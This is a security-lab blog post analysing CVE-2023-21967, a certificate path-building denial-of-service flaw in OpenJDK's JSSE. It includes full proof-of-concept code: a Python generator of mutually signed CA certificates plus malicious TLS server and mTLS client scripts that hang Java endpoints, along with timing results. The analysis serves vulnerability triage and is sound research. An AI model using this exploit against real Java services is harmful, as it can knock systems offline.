Thinking About CVE-2023-21967, an OpenJDK Vulnerability | Security Lab
Author: Sam Shahsavar
Description: We will analyze and build a POC for CVE-2023-21967, a vulnerability in OpenJDK.
Date: 2023-10-06T00:00:00-07:00

# Thinking About CVE-2023-21967, an OpenJDK Vulnerability

Security professionals are inundated with CVEs; the National Vulnerability Database reports receiving over 2,466 to analyze in August 2023 alone.1 It remains an important skill to triage and remediate vulnerabilities most important to your products and environment. Part of this involves technically analyzing publicly available vulnerability data to make an assessment about the changes.

In this post, we will demonstrate this process with CVE-2023-21967, a vulnerability in OpenJDK.

## Identifying a CVE

The April 2023 OpenJDK Vulnerability Advisory and Oracle Critical Patch Update (CPU) Advisory both list CVE-2023-21967, among numerous other vulnerabilities. The stated affected versions are 20, 17.0.6, 11.0.18, 8u362, and earlier. These two sources both list `security-libs/javax.net.ssl` or “JSSE” as the affected component. JSSE, or Java Secure Socket Extension, is an API implementation of TLS and DTLS. This API provides all the encryption protocol support and certificate parsing to securely communicate over the Internet without developers needing to create their own implementations.

With a CVSSv3.1 score of 5.9 and a vector of `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`, this vulnerability exists in the tricky middle ground when it comes to prioritizing an upgrade fix. The two advisories themselves fail to provide any further information relating to the vulnerability fix.

Not all CVE descriptions are created equal. The description provided to MITRE, listed below, is fairly generic and typical of OpenJDK CVEs.2

> Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).3

“Difficult to exploit” and “a hang or frequently repeatable crash (complete DOS)” are less than concrete. Unfortunately, the CPU and JDK release notes fail to provide any further information. The lack of details lends this CVE to further analysis.

## Information Gathering

The initial CVE references do not provide any further specific details about location in the code. We can of course do a diff between versions on the OpenJDK source to narrow down affected files, but a quick search with the CVE ID pulls up the Red Hat bug tracker for this issue.

The issue on Red Hat Bugzilla

This particular entry gives us an OpenJDK bug tracking ID of 8298310 in the title, but access controls prevent us from using this to read the Open JDK bug tracking system’s entry for this issue. Unfortunately, it is common practice for the public to be restricted from accessing security related entries in the bug tracker, even for four year old vulnerabilities with released exploit code.4 In this case, we got lucky in getting the OpenJDK bug ID this way, though they are sometimes included in CPUs. More generally, these IDs can be reliably obtained from patch commits linked in the issue’s comments:

The commits posted on Red Hat Bugzilla

These comments get us what we need, a commit and a slightly better description.

The commit lists changes to six files in `src/java.base/share/classes/sun/security/provider/certpath/`:

- `AdjacencyList.java`
- `Builder.java`
- `ForwardBuilder.java`
- `ForwardState.java`
- `State.java`
- `SunCertPathBuilder.java`

Given the files and brief description from the Red Hat bug tracker, we suspect that the vulnerability occurs within the certificate chain validation functionality utilized when establishing a TLS connection. Before proceeding to dissect the specific file changes, let us look more generally at how certificate chain validation occurs.

## Certificate Chain, Path Building and Validation

In order to establish a secure TLS connection, the client needs to trust the certificate provided from the server by making sure it is issued by a trusted Certificate Authority (CA). The trust relation is based on certificates signature. Basically, a certificate is trusted if it is signed by a trusted entity.

To do so, the client will rely on a list of trusted certificates stored within its truststore. This is accomplished by checking if the server’s certificate has been issued and signed by a trusted entity. However, in most cases a single certificate provided by a server will not be directly issued by a trusted CA. In such scenarios, the server will provide the client with additional certificates that fill the gap between the server’s end-entity (or leaf) certificate and a root certificate. This is is called a `certificate chain`.

As illustrated in the next picture, a certificate chain is nothing other than a list of certificates connected to each other by a relation of trust (signature). Those additional certificates appearing in the middle are called `Intermediate Certificates`. Each intermediate certificate is signed by either a root certificate or another intermediary certificate. The link from the server’s certificate to the root certificate going through `n` intermediate certificates is called a `path`.

One can imagine the PKI structure (including truststore + chain received) as a directed graph where each vertex is a certificate and any edge between two vertices A and B means that certificate A is the issuer of certificate B.

After receiving the certificate chain, the client will utilize those certificates to attempt to build a valid path from the end entity to a trusted root certificate. Section 6.1 of RFC 5280 provides the following succinct description of a basic x.509 path validation:

      (a)  for all x in {1, ..., n-1}, the subject of certificate x is
           the issuer of certificate x+1;

      (b)  certificate 1 is issued by the trust anchor;

      (c)  certificate n is the certificate to be validated (i.e., the
           target certificate); and

      (d)  for all x in {1, ..., n}, the certificate was valid at the
           time in question.

This brief description does not highlight all of the complexities involved. RFC 4158 details the methodology and algorithms and optimizations to build a valid path in scenarios more complicated than a straightforward hierarchical PKI scenario.

In recent years, the ability for a client to build a valid path has received more attention as major root CA certificates expired, such as the AddTrust External CA Root certificate in May 2020 or the Let’s Encrypt R3 certificate in September 2021. As of TLS 1.3, servers may send certificate chains capable of building multiple valid paths, especially relevant when transitioning intermediate certificates5. Outages may appear to occur when one path fails and clients cannot build an alternative trusted path.

## Code Review

JSSE performs Public Key Infrastructure (X.509) (PKIX) certificate chain validation as described in RFC 5280 (Section 6). Specifically, a `PKIXValidator` will return a validated X.509 certificate chain. This chain is provided by the default PKIX certificate path builder, `SunCertPathBuilder`, utilizing a set of requirements defined in a `PKIXBuilderParameters` object.

    private X509Certificate[] doBuild(X509Certificate[] chain,
            Collection<X509Certificate> otherCerts,
            PKIXBuilderParameters params) throws CertificateException {

        try {
            setDate(params);

            // setup target constraints
            X509CertSelector selector = new X509CertSelector();
            selector.setCertificate(chain[0]);
            params.setTargetCertConstraints(selector);

            // setup CertStores
            Collection<X509Certificate> certs = new ArrayList<X509Certificate>();
            certs.addAll(Arrays.asList(chain));
            if (otherCerts != null) {
                certs.addAll(otherCerts);
            }
            CertStore store = CertStore.getInstance("Collection",
                                new CollectionCertStoreParameters(certs));
            params.addCertStore(store);

            // do the build
            CertPathBuilder builder = CertPathBuilder.getInstance("PKIX");
            PKIXCertPathBuilderResult result =
            (PKIXCertPathBuilderResult)builder.build(params);

            return toArray(result.getCertPath(), result.getTrustAnchor());
        } catch (GeneralSecurityException e) {
            throw new ValidatorException
                ("PKIX path building failed: " + e.toString(), e);
        }
    }

src/java.base/share/classes/sun/security/validator/PKIXValidator.java

`SunCertPathBuilder` uses a depth-first search algorithm to create a validated certificate chain from the target end-entity certificate to a trust anchor certificate. The recursive `depthFirstSearchForward` method of `SunCertPathBuilder` proceeds building a path of certificates, backtracking when the chain terminates before reaching a trust anchor or the path reaches a maximum length.`ForwardState` and `ForwardBuilder` provide the necessary state and certificate retrieval functionality utilized during path creation.

The commit lists changes to six files in `src/java.base/share/classes/sun/security/provider/certpath/`:

- `AdjacencyList.java`
- `Builder.java`
- `ForwardBuilder.java`
- `ForwardState.java`
- `State.java`
- `SunCertPathBuilder.java`

The changes in `ForwardBuilder.java` are the most significant and the likely candidate for the vulnerability. Changes in the other files mostly appear to be cleanup and minor improvements.

### ForwardBuilder.java

`ForwardBuilder::verifyCert` contains significant changes to loop detection. It is trivial to build a set of two certificates that point to each other as issuers. Loop detection prevents infinite recursion by failing when a certificate shows up twice in a given certificate path, so this change could be significant. Previously, `verifyCert` used the `Certificate::equals` method when comparing certificates for equality.

Commit differential of ForwardBuilder

The documentation for `Certificate::equals`:

> Compares this certificate for equality with the specified object. If the other object is an instanceof Certificate, then its encoded form is retrieved and compared with the encoded form of this certificate.

The new `repeated` method enhances the logic. It keeps a `Certificate::equals` check, but also considers two certificates equal if their respective public keys, subject distinguished names, and subject alternative names match.

        /**
        * Return true if two certificates are equal or have the same subject,
        * public key, and subject alternative names.
        */
        private static boolean repeated(
                X509Certificate currCert, X509Certificate nextCert) {
            if (currCert.equals(nextCert)) {
                return true;
            }
            return (currCert.getSubjectX500Principal().equals(
                nextCert.getSubjectX500Principal()) &&
                currCert.getPublicKey().equals(nextCert.getPublicKey()) &&
                altNamesEqual(currCert, nextCert));
        }

        /**
         * Return true if two certificates have the same subject alternative names.
         */
        private static boolean altNamesEqual(
                X509Certificate currCert, X509Certificate nextCert) {
            X509CertImpl curr, next;
            try {
                curr = X509CertImpl.toImpl(currCert);
                next = X509CertImpl.toImpl(nextCert);
            } catch (CertificateException ce) {
                return false;
            }

            SubjectAlternativeNameExtension currAltNameExt =
                curr.getSubjectAlternativeNameExtension();
            SubjectAlternativeNameExtension nextAltNameExt =
                next.getSubjectAlternativeNameExtension();
            if (currAltNameExt != null) {
                if (nextAltNameExt == null) {
                    return false;
                }
                return Arrays.equals(currAltNameExt.getExtensionValue(),
                    nextAltNameExt.getExtensionValue());
            } else {
                return (nextAltNameExt == null);
            }
        }

src/java.base/sun/security/provider/certpath/ForwardBuilder.java

Why would the developers make this change? After all, there are a number of reasons that two certificates may differ even with the same public key and subject. The introduction of the `repeated` method is purely done for path-building optimization. It is important to know that there are ranges of PKI structures going from simple hierarchical ones to mesh structures. Treating such structures as directed graphs, path building can easily become a complex and resource exhaustive task. This is why path-building optimization is crucial for finding paths within a complex PKI structures.

Within the loop detection recommendation within RFC 4158, it is recommended to detect the presence of certificates with the same subject name, subject alternative name, and public key. A certificate with the same combination of these elements should not show up twice in a valid certificate path. This check eliminates superfluous paths and is an optimization approach for depth-first tree traversal path building. Section 2.4.2 of RFC 4158 provides more details on path-building optimization and the reasons behind such similar certificates detection.

## Configuration

Before building a proof of concept, it is important to note two properties that affect how many paths are attempted. The property `jdk.tls.maxHandshakeMessageSize`, with a default value of 32768 (32 kilobytes), restricts the size of messages during the TLS handshake. Since an increasing number of certificates will increase the size of the handshake message, it in practice restricts the number of certificates we can send to the client, which the client could then attempt to use in path building. The property `jdk.tls.maxCertificateChainLength`, with a default value of 10, directly limits the size of the certificate chain we can provide.6 Both properties were introduced as part of JDK-8245417 (still non-public) in October 2020, corresponding to versions 11.0.9+7, 1.8. 0_271-b09, and 1.7.0_281-b06.7

For our proof of concept to showcase the optimization changes, we’ll run the client with `-Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304`.

## Proof of Concept

With the patch targeting path-building optimization, we can presumably build a proof of concept that causes extraneous resource intensive path building. The worst case scenario for depth first search path building is a graph where every node is signed by every other node, think a directed complete graph where each edge represents a certificate. `SunCertPathBuilder` will build a certificate path by progressing to the issuer DN of the subject certificate. Without the optimizations introduced by the patch, it will happily progress to an issuer DN it has already seen as long as the certificates are unequal. With our directed graph, we will indeed provide it multiple certificate options to take for a single issuer DN. Our Python script will create the certificates representing the directed complete graph. The number of edges, or certificates, is simply calculated by `n(n-1)`, where `n` represents the number of vertices in the complete graph.

Step 1 - Setup a Java Client

We will create the most basic client that attempts to establish a secure connection with our malicious server. Normally a vulnerability like this would be triggered the other way around, such as in mTLS, but this will satisfy our simple test.

    import javax.net.ssl.*;

    public class TLSTest {

        public static void main(String[] args) throws Exception {
            try {
                SSLSocketFactory factory = (SSLSocketFactory)SSLSocketFactory.getDefault();
                SSLSocket socket = (SSLSocket)factory.createSocket("localhost", 8080);

                socket.startHandshake();
                socket.close();

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

Step 2 - Setup a Python Server

We’ll use a simple Python TLS server to provide our own certificate chain. This opens up modifying the certificate chain without the intermediate verification steps from a Java keystore.

    from http.server import HTTPServer, BaseHTTPRequestHandler
    import ssl

    httpd = HTTPServer(('localhost', 8080), BaseHTTPRequestHandler)

    httpd.socket = ssl.wrap_socket(httpd.socket,
            keyfile="certs/key.pem",
            certfile='certs/full-chain.pem',
            server_side=True)

    httpd.serve_forever()

Step 3 - Generate Malicious Certificates

The below code creates a mesh PKI structure, where every node is signed by every other node. It will generate all the signed certificates and private keys needed to represent this structure and output all materials in `certs/`. All the signed certificates will be bundled together in `certs/full-chain.pem`, where the first certificate in the file is the end-entity certificate.

    # May need to pip3 install cryptography

    import datetime
    import itertools

    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes

    CERT_PATH = 'certs/'

    def generate_certificate(edge):
        issuer = edge[0]
        subject = edge[1]

        issuer_key = private_keys[issuer]
        subject_key = private_keys[subject]

        builder = x509.CertificateBuilder()
        builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, subject)]))
        builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, issuer)]))
        builder = builder.not_valid_before(datetime.datetime.now(datetime.timezone.utc))
        builder = builder.not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=50))
        builder = builder.serial_number(x509.random_serial_number())
        builder = builder.public_key(subject_key.public_key())
        builder = builder.add_extension(x509.SubjectAlternativeName([x509.DNSName(subject)]),critical=False)
        builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True,) # Everyone gets to be a CA!
        builder = builder.add_extension(
            x509.KeyUsage(
                digital_signature=True,
                key_encipherment=True,
                key_cert_sign=True,
                key_agreement=True,
                content_commitment=True,
                data_encipherment=True,
                crl_sign=False,
                encipher_only=False,
                decipher_only=False),
            critical=False
            )

        certificate = builder.sign(issuer_key, hashes.SHA256())

        cert_graph_certs.append(certificate.public_bytes(serialization.Encoding.PEM))

        with open(CERT_PATH + subject + "-signed-by-" + issuer + ".pem", "wb") as f:
            f.write(certificate.public_bytes(serialization.Encoding.PEM))

    vertex_count = 10
    cert_graph = list(itertools.permutations(list(range(vertex_count)), 2))
    cert_graph = [(str(edge[0]),str(edge[1])) for edge in cert_graph]

    unique_vertex = []

    # Get Unique Vertex
    for edge in cert_graph:
        if edge[0] not in unique_vertex:
            unique_vertex.append(edge[0])
        if edge[1] not in unique_vertex:
            unique_vertex.append(edge[1])

    private_keys = {}
    selfsigned_certs = {}

    # Generate Private Key and Self Signed Certificates for every Vertex
    for vertex in unique_vertex:
        key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )

        # Write private key
        with open(CERT_PATH + vertex + "-key.pem", "wb") as f:
            f.write(key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
            ))

        # Create self-signed certificate
        builder = x509.CertificateBuilder()
        builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, vertex)]))
        builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, vertex)]))
        builder = builder.not_valid_before(datetime.datetime.now(datetime.timezone.utc))
        builder = builder.not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=50))
        builder = builder.serial_number(x509.random_serial_number())
        builder = builder.public_key(key.public_key())
        builder = builder.add_extension(x509.SubjectAlternativeName([x509.DNSName(vertex)]),critical=False)
        builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True,)

        certificate = builder.sign(key, hashes.SHA256())

        private_keys[vertex] = key
        selfsigned_certs[vertex] = certificate

        # Write self-signed certificates
        with open(CERT_PATH + vertex + "-ss.pem", "wb") as f:
            f.write(certificate.public_bytes(serialization.Encoding.PEM))

    cert_graph_certs = []

    for edge in cert_graph:
        generate_certificate(edge)

    # Bundle and write all signed certificates together
    with open(CERT_PATH + "full-chain.pem", "w") as f:
        for cert in reversed(cert_graph_certs):
            f.write(cert.decode('UTF-8'))

To start, we’ll have it create the structure for ten nodes all signed by each other, defined in the variable `vertex_count`. We’ll run this file, expecting 90 certificates to be created.

    $ mkdir certs
    $ pip3 install cryptography
    $ python3 cert-helper.py

Step 4 - Run Python Server

The path to all of the signed certificates and end-entity private key will need to be specified to the Python Server created in Step 2. We can then run the server.

    $ python3 https-server.py

Step 5 - Run Payload Pre-Patch (OpenJDK 11.0.18)

To showcase optimization differences better, we’ll run our Java client with `jdk.tls.maxCertificateChainLength` and `jdk.tls.maxHandshakeMessageSize` set to non-default values.

    $ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 TLSTest.java

There will be a noticeable hang, about 15 seconds, as the client attempts to validate the certificate path provided by the server, which is the denial of service condition. If we then run this program under a debugger and set a breakpoint in `SunCertPathBuilder::PKIXCertPathBuilderResult`, we can see the size of the `AdjacencyList` used to store the history of certification paths attempted in constructing a path from an initiator to a target.

The client will of course fail to validate a certificate path since the server did not provide a path with a trust anchor in the client truststore.

Step 6 - Run Payload Post-Patch (OpenJDK 11.0.19)

We’ll run the Java client with same non-default settings.

    $ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 TLSTest.java

In the debugger, we can see the `AdjacencyList` is significantly smaller than in the pre-patch example.

## Proof of Concept - Client Authentication

Of course, a web server causing a denial of service condition for clients is fairly pointless and unrealistic. A more interesting scenario is in the case of mutual authentication where the client also provides a certificate chain for the server to verify. A denial of service condition here would cause the server to appear to be down for other clients attempting to connect.

Step 1 - Setup a Java Server

We’ll use the Java server provided in the sample JSSE code. I won’t copy the instructions verbatim, as the documentation walks through the sample code here. We can run the server as instructed below, with our properties set to non-default values again.

    $ javac ClassFileServer.java
    $ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 ClassFileServer 8080 /Users/sam.shahsavar/ TLS true

Step 2 - Setup a Python Client

We will setup a Python client that will provide the certificates generated by our tool in the above section. We’re not going to bother verifying the certificate from the server since it is irrelevant to the malicious client.

    import requests

    result = requests.get(
        'https://localhost:8080/test.txt',
        cert=('/certs/full-chain.pem', '/certs/key.pem'),
        verify=False)

Step 3 - Run Python Client

We will then simply run the Python client.

    $ python3 client.py

There will again be a noticeable hang. If we setup a debugger for `ClassFileServer.java`, we see similar results to the previous example.

## Further Tests

The chart below documents the results from a variety of scenarios with our proof of concept, configured from three to twenty nodes. The patch succeeds in substantial optimizations, especially as the scenarios get more ludicrous.

Nodes | Certificate Chain Length | Pre-Patch Time (ms) | Post-Patch Time (ms) | Pre-Patch AdjacencyList | Post-Patch AdjacencyList
--- | --- | --- | --- | --- | ---
3 | 6 | 262 | 133 | 17 | 6
4 | 12 | 565 | 137 | 167 | 17
5 | 20 | 779 | 150 | 849 | 66
6 | 30 | 1137 | 185 | 2843 | 327
7 | 42 | 2027 | 253 | 7443 | 1238
8 | 56 | 3918 | 382 | 16527 | 3621
9 | 72 | 9643 | 613 | 32777 | 8802
10 | 90 | 15304 | 1028 | 59699 | 18731
20 | 380 | N/A | 62444 | N/A | 1494561

In addition to the previously documented proof of concept scenarios, we also tested the situation where the server was not expecting client certificates but was provided them anyway, noting no impact.

## Impact

Triggering a hang from this condition in the wild is not impossible but unlikely, as the default values of `jdk.tls.maxCertificateChainLength` and `jdk.tls.maxHandshakeMessageSize` set fairly safe boundaries. With this in mind, a CVSS rating of 5.9 is likely too high. Better information in the CVE description detailing exploitability and configuration would further enable the community to evaluate the overall risk of this type of vulnerability.

## Final Thoughts

Reviewing actual code changes and building our own test cases provide useful context about the nature of a CVE. In this case, we are fairly confident that CVE-2023-21967 targets improvements in the certificate path building algorithm. The patch implements recommendations for optimizing certification path building algorithm described in RFC 4158 from 2005. Without this patch, excessive resources could be spent during path building of complex PKI structures.

1. https://web.archive.org/web/20230921210434/https://nvd.nist.gov/general/nvd-dashboard ↩

2. https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Oracle+Java+SE ↩

3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-21967 ↩

4. https://bugs.openjdk.org/browse/JDK-8219022 ↩

5. https://datatracker.ietf.org/doc/html/rfc8446#section-4.4.2 ↩

6. https://docs.oracle.com/javase/8/docs/technotes/guides/security/jsse/JSSERefGuide.html ↩

7. https://www.oracle.com/java/technologies/javase/11all-relnotes.html ↩

Enter your search term...